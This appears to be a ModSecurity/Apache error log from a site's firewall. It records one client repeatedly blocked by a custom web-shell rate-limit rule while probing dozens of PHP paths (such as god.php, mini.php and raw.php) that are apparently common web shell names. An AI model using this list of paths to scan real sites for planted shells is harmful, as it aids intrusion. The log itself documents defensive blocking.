[Sat Feb 28 21:32:29.444024 2026] [:error] [pid 39184:tid 39221] [client 4.204.200.32:42949] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aaLubVtZF9Zd_U7easDJzQAAAEI"]
[Sat Feb 28 21:32:29.878110 2026] [:error] [pid 39292:tid 39300] [client 4.204.200.32:56609] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aaLubaIAO5fN7BxyqcGDLgAAAMY"]
[Sat Feb 28 21:32:30.302438 2026] [:error] [pid 39183:tid 39201] [client 4.204.200.32:23745] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaLubhCf4HvhVePw3LZTtQAAAAk"]
[Sat Feb 28 21:32:30.732046 2026] [:error] [pid 39183:tid 39203] [client 4.204.200.32:56629] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaLubhCf4HvhVePw3LZTuAAAAAs"]
[Sat Feb 28 21:32:31.148126 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:56049] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaLub7THSOG_yf2PpqF99QAAAcI"]
[Sat Feb 28 21:32:31.564712 2026] [:error] [pid 49763:tid 49770] [client 4.204.200.32:25566] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aaLub7THSOG_yf2PpqF9-QAAAcQ"]
[Sat Feb 28 21:32:31.990075 2026] [:error] [pid 39183:tid 39206] [client 4.204.200.32:25545] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaLubxCf4HvhVePw3LZTwgAAAA4"]
[Sat Feb 28 21:32:32.409321 2026] [:error] [pid 39183:tid 39207] [client 4.204.200.32:42964] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaLucBCf4HvhVePw3LZTyAAAAA8"]
[Sat Feb 28 21:32:32.830695 2026] [:error] [pid 49763:tid 49783] [client 4.204.200.32:25488] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaLucLTHSOG_yf2PpqF-AQAAAdE"]
[Sat Feb 28 21:32:33.249634 2026] [:error] [pid 39183:tid 39194] [client 4.204.200.32:56046] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X7x.php"] [unique_id "aaLucRCf4HvhVePw3LZTzwAAAAI"]
[Sat Feb 28 21:32:33.723967 2026] [:error] [pid 22194:tid 22197] [client 4.204.200.32:56585] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaLucX6mbajs3bzQGyuoYQAAAUE"]
[Sat Feb 28 21:32:34.136884 2026] [:error] [pid 52460:tid 52466] [client 4.204.200.32:23709] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaLucrLWOogAgHGh62STKwAAAYM"]
[Sat Feb 28 21:32:34.554691 2026] [:error] [pid 39184:tid 39240] [client 4.204.200.32:56058] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaLucltZF9Zd_U7easDJ2gAAAFU"]
[Sat Feb 28 21:32:34.964862 2026] [:error] [pid 52460:tid 52463] [client 4.204.200.32:42958] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaLucrLWOogAgHGh62STMgAAAYA"]
[Sat Feb 28 21:32:35.376651 2026] [:error] [pid 22194:tid 22201] [client 4.204.200.32:23705] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/get.php"] [unique_id "aaLuc36mbajs3bzQGyuoYgAAAUU"]
[Sat Feb 28 21:32:35.834603 2026] [:error] [pid 52460:tid 52465] [client 4.204.200.32:65115] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/get.php"] [unique_id "aaLuc7LWOogAgHGh62STPQAAAYI"]
[Sat Feb 28 21:32:36.262670 2026] [:error] [pid 52460:tid 52483] [client 4.204.200.32:56632] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/get.php"] [unique_id "aaLudLLWOogAgHGh62STQwAAAZQ"]
[Sat Feb 28 21:32:36.680666 2026] [:error] [pid 22194:tid 22206] [client 4.204.200.32:42979] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/get.php"] [unique_id "aaLudH6mbajs3bzQGyuoYwAAAUo"]
[Sat Feb 28 21:32:37.090471 2026] [:error] [pid 39183:tid 39196] [client 4.204.200.32:25554] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaLudRCf4HvhVePw3LZT3wAAAAQ"]
[Sat Feb 28 21:32:37.501088 2026] [:error] [pid 39184:tid 39229] [client 4.204.200.32:25559] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaLudVtZF9Zd_U7easDJ4QAAAEo"]
[Sat Feb 28 21:32:37.913430 2026] [:error] [pid 22194:tid 22212] [client 4.204.200.32:56011] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaLudX6mbajs3bzQGyuoZQAAAVA"]
[Sat Feb 28 21:32:38.323955 2026] [:error] [pid 22194:tid 22198] [client 4.204.200.32:25571] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/koiy.php"] [unique_id "aaLudn6mbajs3bzQGyuoZwAAAUI"]
[Sat Feb 28 21:32:38.744105 2026] [:error] [pid 49763:tid 49782] [client 4.204.200.32:25587] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaLudrTHSOG_yf2PpqF-EwAAAdA"]
[Sat Feb 28 21:32:39.157758 2026] [:error] [pid 49763:tid 49775] [client 4.204.200.32:56030] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaLud7THSOG_yf2PpqF-FwAAAck"]
[Sat Feb 28 21:32:39.569955 2026] [:error] [pid 52460:tid 52481] [client 4.204.200.32:65106] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaLud7LWOogAgHGh62STXQAAAZI"]
[Sat Feb 28 21:32:39.983604 2026] [:error] [pid 39183:tid 39215] [client 4.204.200.32:56595] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaLudxCf4HvhVePw3LZT7QAAABc"]
[Sat Feb 28 21:32:40.407478 2026] [:error] [pid 52460:tid 52478] [client 4.204.200.32:23682] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaLueLLWOogAgHGh62STZwAAAY8"]
[Sat Feb 28 21:32:40.846493 2026] [:error] [pid 52460:tid 52471] [client 4.204.200.32:25541] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaLueLLWOogAgHGh62STbQAAAYg"]
[Sat Feb 28 21:32:41.265720 2026] [:error] [pid 11791:tid 11814] [client 4.204.200.32:56018] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaLueWuX5e1Q32gqxH3KJwAAARU"]
[Sat Feb 28 21:32:41.688998 2026] [:error] [pid 39183:tid 39192] [client 4.204.200.32:56042] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaLueRCf4HvhVePw3LZT-AAAAAA"]
[Sat Feb 28 21:32:42.115243 2026] [:error] [pid 39183:tid 39204] [client 4.204.200.32:25540] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raw.php"] [unique_id "aaLuehCf4HvhVePw3LZT-wAAAAw"]
[Sat Feb 28 21:32:42.536254 2026] [:error] [pid 49763:tid 49782] [client 4.204.200.32:56599] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raw.php"] [unique_id "aaLuerTHSOG_yf2PpqF-MgAAAdA"]
[Sat Feb 28 21:32:42.965052 2026] [:error] [pid 49763:tid 49770] [client 4.204.200.32:23706] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raw.php"] [unique_id "aaLuerTHSOG_yf2PpqF-OAAAAcQ"]
[Sat Feb 28 21:32:43.386862 2026] [:error] [pid 39183:tid 39193] [client 4.204.200.32:56035] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raw.php"] [unique_id "aaLuexCf4HvhVePw3LZUAQAAAAE"]
[Sat Feb 28 21:32:43.818845 2026] [:error] [pid 39183:tid 39206] [client 4.204.200.32:23715] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aaLuexCf4HvhVePw3LZUBQAAAA4"]
[Sat Feb 28 21:32:44.256669 2026] [:error] [pid 39183:tid 39197] [client 4.204.200.32:23778] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aaLufBCf4HvhVePw3LZUCAAAAAU"]
[Sat Feb 28 21:32:44.676377 2026] [:error] [pid 52460:tid 52480] [client 4.204.200.32:23690] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aaLufLLWOogAgHGh62STfQAAAZE"]
[Sat Feb 28 21:32:45.098345 2026] [:error] [pid 52460:tid 52476] [client 4.204.200.32:56576] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aaLufbLWOogAgHGh62STfwAAAY0"]
[Sat Feb 28 21:32:45.510586 2026] [:error] [pid 39292:tid 39296] [client 4.204.200.32:23796] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rtx.php"] [unique_id "aaLufaIAO5fN7BxyqcGDSwAAAMI"]
[Sat Feb 28 21:32:45.923564 2026] [:error] [pid 39184:tid 39221] [client 4.204.200.32:42944] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rtx.php"] [unique_id "aaLufVtZF9Zd_U7easDJ7AAAAEI"]
[Sat Feb 28 21:33:35.709690 2026] [:error] [pid 49763:tid 49777] [client 4.204.200.32:23722] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ocxla.php"] [unique_id "aaLur7THSOG_yf2PpqF_cQAAAcs"]
[Sat Feb 28 21:33:36.238281 2026] [:error] [pid 52460:tid 52473] [client 4.204.200.32:23799] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ocxla.php"] [unique_id "aaLusLLWOogAgHGh62SUUAAAAYo"]
[Sat Feb 28 21:33:36.660056 2026] [:error] [pid 11791:tid 11808] [client 4.204.200.32:56579] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ocxla.php"] [unique_id "aaLusGuX5e1Q32gqxH3KUAAAAQ8"]
[Sat Feb 28 21:33:37.344692 2026] [:error] [pid 11791:tid 11794] [client 4.204.200.32:56001] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ocxla.php"] [unique_id "aaLusWuX5e1Q32gqxH3KVAAAAQE"]
[Sat Feb 28 21:33:37.803553 2026] [:error] [pid 49763:tid 49781] [client 4.204.200.32:56016] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaLusbTHSOG_yf2PpqF_dgAAAc8"]
[Sat Feb 28 21:33:38.425665 2026] [:error] [pid 49763:tid 49770] [client 4.204.200.32:56606] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaLusrTHSOG_yf2PpqF_fgAAAcQ"]
[Sat Feb 28 21:33:38.957850 2026] [:error] [pid 49763:tid 49784] [client 4.204.200.32:56624] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaLusrTHSOG_yf2PpqF_hQAAAdI"]
[Sat Feb 28 21:33:40.141151 2026] [:error] [pid 52460:tid 52486] [client 4.204.200.32:56621] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/god.php"] [unique_id "aaLutLLWOogAgHGh62SUVQAAAZc"]
[Sat Feb 28 21:33:40.914969 2026] [:error] [pid 39292:tid 39299] [client 4.204.200.32:56056] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aaLutKIAO5fN7BxyqcGDlQAAAMU"]
[Sat Feb 28 21:33:41.478277 2026] [:error] [pid 11791:tid 11804] [client 4.204.200.32:23725] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aaLutWuX5e1Q32gqxH3KWgAAAQs"]
[Sat Feb 28 21:33:41.970898 2026] [:error] [pid 39184:tid 39229] [client 4.204.200.32:56033] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aaLutVtZF9Zd_U7easDKcgAAAEo"]
[Sat Feb 28 21:33:42.556598 2026] [:error] [pid 49763:tid 49776] [client 4.204.200.32:65090] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aaLutrTHSOG_yf2PpqF_kwAAAco"]
[Sat Feb 28 21:33:43.021929 2026] [:error] [pid 49763:tid 49773] [client 4.204.200.32:56036] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz.php"] [unique_id "aaLut7THSOG_yf2PpqF_mAAAAcc"]
[Sat Feb 28 21:33:43.789349 2026] [:error] [pid 39183:tid 39194] [client 4.204.200.32:56602] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz.php"] [unique_id "aaLutxCf4HvhVePw3LZVdQAAAAI"]
[Sat Feb 28 21:33:44.383972 2026] [:error] [pid 49763:tid 49776] [client 4.204.200.32:23807] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz.php"] [unique_id "aaLuuLTHSOG_yf2PpqF_qAAAAco"]
[Sat Feb 28 21:33:44.998010 2026] [:error] [pid 49763:tid 49783] [client 4.204.200.32:23798] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz.php"] [unique_id "aaLuuLTHSOG_yf2PpqF_sQAAAdE"]
[Sat Feb 28 21:33:45.539655 2026] [:error] [pid 39292:tid 39295] [client 4.204.200.32:23712] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aaLuuaIAO5fN7BxyqcGDlwAAAME"]
